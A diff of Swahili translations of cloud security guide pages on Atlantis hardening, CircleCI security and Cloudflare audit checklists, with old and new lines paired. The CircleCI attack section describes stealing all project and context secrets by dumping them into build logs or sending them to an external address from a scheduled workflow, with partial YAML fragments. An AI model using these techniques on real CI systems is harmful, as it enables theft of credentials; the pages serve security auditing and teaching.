Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia `atlantis server --help` kwa maelezo zaidi.
|
||||
|
||||
#### Linda Mipango ya Terraform <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Ikiwa washambuliaji wanawasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [chanzo cha data cha `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha akreditif zako.
|
||||
Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za `terraform apply` hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika `terraform plan` kwa kutumia [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha nywila zako.
|
||||
|
||||
Ili kuzuia hili, unaweza:
|
||||
|
||||
1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji.
|
||||
2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista.
|
||||
3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, kwa mfano, kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya manufaa hapa.
|
||||
3. Badilisha [mipangilio ya repo upande wa seva](https://www.runatlantis.io/docs/server-side-repo-config.html)'s hatua ya `plan` ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu `plan` kuendelea. Conftest inaweza kuwa ya msaada hapa.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mabadiliko ya mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kama repo ambayo imeorodheshwa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).
|
||||
Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mazingira ya `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Hata na bendera ya `--repo-allowlist` iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa repo iliyo kwenye orodha ya ruhusa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).
|
||||
|
||||
Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nenosiri.
|
||||
Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nywila.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps inasaidia kutuma kichwa cha uthibitishaji wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.
|
||||
Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za `--ssl-cert-file` na `--ssl-key-file`.
|
||||
|
||||
#### Wezesha Uthibitishaji kwenye Seva ya Mtandao ya Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
#### Wezesha Uthibitisho kwenye Seva ya Mtandao ya Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
Inashauriwa sana kuwezesha uthibitishaji katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nenosiri kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`.
|
||||
Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia `--web-basic-auth=true` na weka jina la mtumiaji na nywila kwa kutumia bendera za `--web-username=yourUsername` na `--web-password=yourPassword`.
|
||||
|
||||
Unaweza pia kupitisha hizi kama mabadiliko ya mazingira `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
Unaweza pia kupitisha hizi kama mazingira ya `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` na `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
# CircleCI Security
|
||||
# Usalama wa CircleCI
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Taarifa za Msingi
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka ifanye na baadhi ya msimbo na lini ifanye hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ni jukwaa la Uunganishaji Endelevu ambapo unaweza **kufafanua mifano** inayoonyesha unachotaka kifanye na wakati wa kufanya hivyo. Kwa njia hii unaweza **kujiandaa kwa majaribio** au **kupeleka** moja kwa moja **kutoka kwa tawi kuu la repo yako** kwa mfano.
|
||||
|
||||
### Permissions
|
||||
### Ruhusa
|
||||
|
||||
**CircleCI** **inapata ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiandikisha.\
|
||||
Katika majaribio yangu nilikagua kwamba kadri unavyo kuwa na **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mipangilio mipya ya CircleCI...).
|
||||
**CircleCI** **inaandika ruhusa** kutoka github na bitbucket zinazohusiana na **akaunti** inayojiunga.\
|
||||
Katika majaribio yangu nilikagua kwamba mradi wowote una **ruhusa za kuandika juu ya repo katika github**, utaweza **kusimamia mipangilio ya mradi wake katika CircleCI** (kufanya mipangilio mipya ya ssh, kupata funguo za api za mradi, kuunda matawi mapya na mipangilio mipya ya CircleCI...).
|
||||
|
||||
Hata hivyo, unahitaji kuwa **admin wa repo** ili **kubadilisha repo kuwa mradi wa CircleCI**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Vigezo vya Mazingira & Siri
|
||||
|
||||
Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kupanua thamani katika mabadiliko ya mazingira** ndani ya mchakato.
|
||||
Kulingana na [**nyaraka**](https://circleci.com/docs/2.0/env-vars/) kuna njia tofauti za **kuchaji thamani katika vigezo vya mazingira** ndani ya mchakato.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Vigezo vya mazingira vilivyojengwa ndani
|
||||
|
||||
Kila kontena linalotumiwa na CircleCI litakuwa na [**mabadiliko maalum ya mazingira yaliyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`.
|
||||
Kila kontena linalotumiwa na CircleCI litakuwa na [**vigezo maalum vya mazingira vilivyofafanuliwa katika nyaraka**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kama `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` au `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
#### Maandishi wazi
|
||||
|
||||
Unaweza kuyatangaza kwa maandiko wazi ndani ya **amri**:
|
||||
```yaml
|
||||
@@ -60,21 +60,21 @@ SECRET: A secret
|
||||
#### Siri za Mradi
|
||||
|
||||
Hizi ni **siri** ambazo zitakuwa **zinapatikana** tu na **mradi** (kwa **tawi lolote**).\
|
||||
Unaweza kuziona **zimeelezwa katika** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
Unaweza kuziona **zilizoelezwa katika** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii.
|
||||
> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii.
|
||||
|
||||
#### Siri za Muktadha
|
||||
|
||||
Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida kila repo** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa:
|
||||
Hizi ni siri ambazo ni **za shirika lote**. Kwa **kawaida repo yoyote** itakuwa na uwezo wa **kupata siri yoyote** iliyohifadhiwa hapa:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi wa siri kwa watu maalum**.\
|
||||
> Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza **kuchaguliwa ili kutoa ufaccessi kwa siri kwa watu maalum**.\
|
||||
> Hii kwa sasa ni moja ya njia bora za **kuongeza usalama wa siri**, ili kuto ruhusu kila mtu kuzipata bali watu wachache tu.
|
||||
|
||||
### Mashambulizi
|
||||
@@ -85,17 +85,17 @@ Ikiwa una **ufaccessi kwa VCS** (kama github) angalia faili `.circleci/config.ym
|
||||
|
||||
#### Siri za Env Vars & Uainishaji wa Muktadha
|
||||
|
||||
Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Ukikagua msimbo unaweza kupata **majina yote ya siri** yanayotumika katika kila faili ya `.circleci/config.yml`. Unaweza pia kupata **majina ya muktadha** kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Fanya Uhamishaji wa Siri za Mradi
|
||||
|
||||
> [!WARNING]
|
||||
> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **UNAHITAJI** tu kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako inapaswa kuwa na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_).
|
||||
> Ili **kuhamasisha ZOTE** siri za mradi na muktadha **unahitaji tu** kuwa na **UFACCESSI WA KUANDIKA** kwa **repo 1 tu** katika shirika lote la github (_na akaunti yako lazima iwe na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha_).
|
||||
|
||||
> [!CAUTION]
|
||||
> Kazi ya "**Kuagiza Vigezo**" inaruhusu **kuagiza vigezo kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza vigezo vyote vya mradi kutoka kwa repos zote** na kisha **kuhamasisha zote pamoja**.
|
||||
> Kazi ya "**Import Variables**" inaruhusu **kuagiza mabadiliko kutoka miradi mingine** hadi hii. Hivyo, mshambuliaji anaweza **kuagiza mabadiliko yote ya mradi kutoka kwa repo zote** na kisha **kuhamasisha yote pamoja**.
|
||||
|
||||
Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo tu kuita env na kuificha kwa base64 itahamisha siri katika **console ya logi ya wavuti ya workflows**:
|
||||
Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo kuitwa tu env na kuificha kwa base64 itahamisha siri katika **console ya logi ya kazi za wavuti**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -114,7 +114,7 @@ exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
Ikiwa **huna ufikiaji wa console ya wavuti** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inasafirisha siri kwa anwani ya nje**:
|
||||
Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kuunda workflow** ambayo inachochewa kila dakika na ambayo **inatoa siri kwa anwani ya nje**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -163,7 +163,7 @@ jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
Ikiwa **huna ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**:
|
||||
Ikiwa huna **ufikiaji wa web console** lakini una **ufikiaji wa repo** na unajua kuwa CircleCI inatumika, unaweza tu **kubadilisha workflow** ambayo **inasababishwa kila dakika** na ambayo **inasafirisha siri kwa anwani ya nje**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -192,12 +192,12 @@ jobs:
|
||||
context: Test-Context
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kuunda tu `.circleci/config.yml` mpya katika repo **siyo ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuifanya kuwa mradi katika console ya circleci**.
|
||||
> Kuunda tu `.circleci/config.yml` mpya katika repo **sio ya kutosha kuanzisha ujenzi wa circleci**. Unahitaji **kuwezesha kama mradi katika console ya circleci**.
|
||||
|
||||
#### Kutoroka kwa Wingu
|
||||
|
||||
**CircleCI** inakupa chaguo la kuendesha **ujenzi wako katika mashine zao au katika zako mwenyewe**.\
|
||||
Kwa kawaida, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**.
|
||||
Kwa default, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika **mashine zao wenyewe (labda, katika mazingira ya wingu)**, unaweza kupata **nukta ya metadata ya wingu yenye habari za kuvutia**.
|
||||
|
||||
Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia **kuomba kuzindua mashine ya VM** (ambayo inaweza kuwa na ruhusa tofauti za wingu):
|
||||
```yaml
|
||||
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Katika akaunti ya Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuanzishwa. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
|
||||
Katika akaunti ya Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuwekewa mipangilio. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Kagua kila moja na:
|
||||
Kagua kila moja kwa:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -18,7 +18,7 @@ cloudflare-domains.md
|
||||
|
||||
- [ ] Katika **`Transfer Domains`** hakikisha kuwa haiwezekani kuhamasisha domain yoyote.
|
||||
|
||||
Kagua kila moja na:
|
||||
Kagua kila moja kwa:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -32,33 +32,33 @@ _Sikuweza kupata chochote cha kukagua kwa ajili ya ukaguzi wa usalama wa mipangi
|
||||
|
||||
Katika kila ukurasa wa Cloudflare:
|
||||
|
||||
- [ ] Kagua kwa **taarifa nyeti** katika **`Build log`**.
|
||||
- [ ] Kagua kwa **taarifa nyeti** katika **Github repository** iliyotengwa kwa ajili ya kurasa.
|
||||
- [ ] Kagua kwa uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au kuathiriwa kwa `pull_request_target`. Maelezo zaidi katika [**Github Security page**](../github-security/).
|
||||
- [ ] Kagua kwa **kazi zenye udhaifu** katika saraka ya `/fuctions` (ikiwa ipo), kagua **redirects** katika faili ya `_redirects` (ikiwa ipo) na **vichwa vilivyopangwa vibaya** katika faili ya `_headers` (ikiwa ipo).
|
||||
- [ ] Kagua kwa **udhaifu** katika **ukurasa wa wavuti** kupitia **blackbox** au **whitebox** ikiwa unaweza **kufikia msimbo**
|
||||
- [ ] Katika maelezo ya kila ukurasa `/<page_id>/pages/view/blocklist/settings/functions`. Kagua kwa **taarifa nyeti** katika **`Environment variables`**.
|
||||
- [ ] Katika ukurasa wa maelezo kagua pia **amri ya kujenga** na **saraka ya mzizi** kwa ajili ya **uwezekano wa kuingilia** ili kuathiri ukurasa.
|
||||
- [ ] Kagua **taarifa nyeti** katika **`Build log`**.
|
||||
- [ ] Kagua **taarifa nyeti** katika **Github repository** iliyotengwa kwa ajili ya kurasa.
|
||||
- [ ] Kagua uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au `pull_request_target` kuathiriwa. Maelezo zaidi katika [**Github Security page**](../github-security/).
|
||||
- [ ] Kagua **kazi zenye udhaifu** katika saraka ya `/fuctions` (ikiwa zipo), kagua **redirects** katika faili ya `_redirects` (ikiwa zipo) na **vichwa vilivyowekwa vibaya** katika faili ya `_headers` (ikiwa zipo).
|
||||
- [ ] Kagua **udhaifu** katika **ukurasa wa wavuti** kupitia **blackbox** au **whitebox** ikiwa unaweza **kufikia msimbo**
|
||||
- [ ] Katika maelezo ya kila ukurasa `/<page_id>/pages/view/blocklist/settings/functions`. Kagua **taarifa nyeti** katika **`Environment variables`**.
|
||||
- [ ] Katika ukurasa wa maelezo kagua pia **amri ya kujenga** na **saraka ya mzizi** kwa ajili ya **uwezekano wa kuingiza** ili kuathiri ukurasa.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Katika kila mfanyakazi wa Cloudflare kagua:
|
||||
|
||||
- [ ] Vichocheo: Nini kinachofanya mfanyakazi kuanzishwa? Je, **mtumiaji anaweza kutuma data** ambayo itatumika na mfanyakazi?
|
||||
- [ ] Katika **`Settings`**, kagua kwa **`Variables`** zinazokuwa na **taarifa nyeti**
|
||||
- [ ] Kagua **msimbo wa mfanyakazi** na tafuta kwa **udhaifu** (hasa katika maeneo ambapo mtumiaji anaweza kudhibiti ingizo)
|
||||
- [ ] Katika **`Settings`**, kagua **`Variables`** zinazokuwa na **taarifa nyeti**
|
||||
- [ ] Kagua **msimbo wa mfanyakazi** na tafuta **udhaifu** (hasa katika maeneo ambapo mtumiaji anaweza kudhibiti ingizo)
|
||||
- Kagua kwa SSRFs zinazorejesha ukurasa ulioonyeshwa ambao unaweza kudhibiti
|
||||
- Kagua XSSs zinazotekeleza JS ndani ya picha ya svg
|
||||
- Inawezekana kwamba mfanyakazi anashirikiana na huduma nyingine za ndani. Kwa mfano, mfanyakazi anaweza kuingiliana na R2 bucket inayohifadhi taarifa ndani yake iliyopatikana kutoka kwa ingizo. Katika kesi hiyo, itahitajika kukagua ni uwezo gani mfanyakazi ana juu ya R2 bucket na jinsi gani inaweza kutumika vibaya kutokana na ingizo la mtumiaji.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba kwa kawaida **Mfanyakazi anapewa URL** kama `<worker-name>.<account>.workers.dev`. Mtumiaji anaweza kuipanga kuwa **subdomain** lakini unaweza kila wakati kuipata kwa hiyo **URL ya asili** ikiwa unajua.
|
||||
> Kumbuka kwamba kwa kawaida **Mfanyakazi anapewa URL** kama `<worker-name>.<account>.workers.dev`. Mtumiaji anaweza kuipatia **subdomain** lakini unaweza kila wakati kuipata kwa hiyo **URL ya asili** ikiwa unajua.
|
||||
|
||||
## R2
|
||||
|
||||
Katika kila R2 bucket kagua:
|
||||
|
||||
- [ ] Panga **CORS Policy**.
|
||||
- [ ] Weka **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -86,14 +86,14 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> Tofauti na [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) kimsingi ni za kudumu — hazisaidii **operesheni za kubadilisha nyuzi** au matumizi ya kawaida. Hata hivyo, unaweza kupanga vigezo vya URL redirect vinavyoathiri tabia yao ya ulinganifu wa URL na tabia yao ya wakati wa kutekeleza.
|
||||
> Tofauti na [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) kimsingi ni za kudumu — hazisaidii **operesheni zozote za kubadilisha mfuatano** au matumizi ya kawaida. Hata hivyo, unaweza kuweka vigezo vya kuhamasisha URL vinavyoathiri tabia yao ya ulinganifu wa URL na tabia yao ya wakati wa kutekeleza.
|
||||
|
||||
- [ ] Kagua kwamba **expressions** na **requirements** za redirects **zina maana**.
|
||||
- [ ] Kagua pia kwa **mipangilio ya siri iliyofichwa** ambayo ina taarifa za kuvutia.
|
||||
- [ ] Kagua kwamba **mifano** na **mahitaji** ya kuhamasisha **yanamaanisha**.
|
||||
- [ ] Kagua pia kwa **nukta za siri za siri** ambazo zina taarifa za kuvutia.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Kagua **notifications.** Taarifa hizi zinapendekezwa kwa usalama:
|
||||
- [ ] Kagua **arifa.** Arifa hizi zinapendekezwa kwa usalama:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -113,22 +113,22 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Kagua zote **destinations**, kwani kunaweza kuwa na **taarifa nyeti** (basic http auth) katika urls za webhook. Hakikisha pia urls za webhook zinatumia **HTTPS**
|
||||
- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kujifanya kuwa notification ya cloudflare** kwa upande wa tatu, labda unaweza kwa namna fulani **kuingiza kitu hatari**
|
||||
- [ ] Kagua zote **sehemu**, kwani kunaweza kuwa na **taarifa nyeti** (misingi ya http auth) katika URLs za webhook. Hakikisha pia URLs za webhook zinatumia **HTTPS**
|
||||
- [ ] Kama ukaguzi wa ziada, unaweza kujaribu **kujifanya kama arifa ya cloudflare** kwa chama cha tatu, labda unaweza kwa namna fulani **kuingiza kitu hatari**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] Inawezekana kuona **nambari 4 za mwisho za kadi ya mkopo**, **muda wa kumalizika** na **anwani ya bili** katika **`Billing` -> `Payment info`**.
|
||||
- [ ] Inawezekana kuona **aina ya mpango** inayotumika katika akaunti katika **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Katika **`Members`** inawezekana kuona wanachama wote wa akaunti na **nafasi** zao. Kumbuka kwamba ikiwa aina ya mpango si Enterprise, kuna nafasi 2 tu: Msimamizi na Msimamizi Mkuu. Lakini ikiwa **mpango unaotumika ni Enterprise**, [**nafasi zaidi**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya chini ya kibali.
|
||||
- [ ] Katika **`Members`** inawezekana kuona wanachama wote wa akaunti na **nafasi zao**. Kumbuka kwamba ikiwa aina ya mpango si Enterprise, kuna nafasi 2 tu: Msimamizi na Msimamizi Mkuu. Lakini ikiwa **mpango unaotumika ni Enterprise**, [**nafasi zaidi**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya chini ya kibali.
|
||||
- Kwa hivyo, kila wakati inapowezekana ni **pendekezo** kutumia **mpango wa Enterprise**.
|
||||
- [ ] Katika Wanachama inawezekana kukagua ni **wanachama** gani wana **2FA imewezeshwa**. **Kila** mtumiaji anapaswa kuwa nayo imewezeshwa.
|
||||
- [ ] Katika Wanachama inawezekana kukagua ni **wanachama** gani wana **2FA iliyoanzishwa**. **Kila** mtumiaji anapaswa kuwa nayo iliyoanzishwa.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba kwa bahati nzuri nafasi **`Administrator`** haina ruhusa za kusimamia uanachama (**haiwezi kuongeza ruhusa au kuwaleta** wanachama wapya)
|
||||
> Kumbuka kwamba kwa bahati mbaya nafasi **`Administrator`** haina ruhusa za kudhibiti uanachama (**haiwezi kuongeza mamlaka au kuwaleta** wanachama wapya)
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
[Angalia sehemu hii](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,27 +6,27 @@ Katika kila TLD iliyowekwa kwenye Cloudflare kuna **mipangilio na huduma za juml
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### Muhtasari
|
||||
|
||||
- [ ] Pata hisia ya **ni kiasi gani** huduma za akaunti **zinatumika**
|
||||
- [ ] Pata pia **zone ID** na **account ID**
|
||||
|
||||
### Analytics
|
||||
### Uchambuzi
|
||||
|
||||
- [ ] Katika **`Security`** angalia kama kuna **Rate limiting**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Angalia **data za kuvutia** (nyeti?) katika **records** za DNS
|
||||
- [ ] Angalia **data za kuvutia** (sensitive?) katika **rekodi za DNS**
|
||||
- [ ] Angalia **subdomains** ambazo zinaweza kuwa na **habari nyeti** kulingana na **jina** (kama admin173865324.domin.com)
|
||||
- [ ] Angalia kurasa za wavuti ambazo **hazijapangwa** **proxied**
|
||||
- [ ] Angalia kwa **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP
|
||||
- [ ] Hakikisha kwamba **DNSSEC** ime **wezeshwa**
|
||||
- [ ] Hakikisha kwamba **CNAME Flattening** inatumika katika **CNAME zote**
|
||||
- [ ] Angalia **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP
|
||||
- [ ] Angalia kwamba **DNSSEC** ime **wezeshwa**
|
||||
- [ ] Angalia kwamba **CNAME Flattening** inatumika katika **CNAME zote**
|
||||
- Hii inaweza kuwa na manufaa ili **kuficha udhaifu wa kuchukua subdomain** na kuboresha nyakati za upakiaji
|
||||
- [ ] Hakikisha kwamba majina ya **hayana udhaifu wa spoofing** [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] Angalia kwamba majina ya domain [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
### **Barua pepe**
|
||||
|
||||
TODO
|
||||
|
||||
@@ -36,91 +36,91 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Overview**
|
||||
#### **Muhtasari**
|
||||
|
||||
- [ ] **SSL/TLS encryption** inapaswa kuwa **Full** au **Full (Strict)**. Mengineyo yatatuma **trafiki ya maandiko wazi** kwa wakati fulani.
|
||||
- [ ] **SSL/TLS Recommender** inapaswa kuwezeshwa
|
||||
|
||||
#### Edge Certificates
|
||||
#### Vyeti vya Edge
|
||||
|
||||
- [ ] **Always Use HTTPS** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **Daima Tumia HTTPS** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** inapaswa kuwa **imewezeshwa**
|
||||
- [ ] **Minimum TLS Version inapaswa kuwa 1.2**
|
||||
